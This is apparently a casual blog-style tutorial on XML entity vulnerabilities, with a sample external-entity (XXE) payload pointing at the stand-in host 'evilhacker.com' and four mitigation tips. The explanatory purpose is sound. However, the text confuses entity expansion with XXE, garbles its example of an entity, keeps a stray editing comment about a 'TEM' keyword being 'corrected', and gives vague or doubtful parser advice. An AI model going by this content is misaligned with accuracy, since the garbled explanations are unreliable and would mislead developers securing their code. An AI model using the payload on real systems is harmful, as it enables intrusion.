Today we’re going to talk about a vulnerability that has been plaguing XML parsing for years now Entity Expansion Vulnerability (EEV). You might be wondering what the ***** is EEV and why it matters? Well, let me tell you, my friend.

To start, let’s understand what an entity is in XML. An entity is a symbol or character that has been replaced with its corresponding value during parsing. For example, ' (ampersand followed by apostrophe) represents the single quote character ”. Pretty straightforward, right? But here’s where things get interesting entities can also be used to inject malicious code into your XML document.

Let me give you an example:

<!--
The following script is used to define an external entity called "xxe" with the value of "http://evilhacker.com/payload". This entity will be referenced later in the script.
-->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://evilhacker.com/payload">
]>
<!--
The "SYSTEM" keyword is used to specify that the entity is an external entity, and the "TEM" keyword has been corrected to "SYSTEM" to properly define the entity.
-->
<foo>&xxe;</foo>
<!--
This line references the "xxe" entity, which will now properly retrieve the value of "http://evilhacker.com/payload" and insert it into the <foo> element.
-->

In this code snippet, we’re defining a new entity called ‘xxe’ that will be replaced with the value of the URL ‘http://evilhacker.com/payload’. When an XML parser encounters this document, it will replace &xxe; with the contents of the specified URL which could potentially contain malicious code or data.

Now you might be thinking, “Hey, that’s not fair! How can I prevent EEV from happening in my code?” Well, my friend, there are a few ways to mitigate this vulnerability:

1. Disable external entity references This is the easiest and most effective way to prevent EEV. Simply disable external entities by setting the ‘external-subset’ attribute of your XML parser to false or omitting it altogether.

2. Use a whitelist approach Only allow certain entities that you trust, and disallow all others. This can be done using an entity declaration list in your DTD (Document Type Definition).

3. Sanitize user input If you’re accepting XML documents from untrusted sources, make sure to sanitize the input before parsing it. Remove any entities that are not explicitly allowed or replace them with their corresponding values.

4. Use a secure parser Some XML parsers have built-in security features that can help prevent EEV and other vulnerabilities. Make sure to choose a parser that meets your security requirements.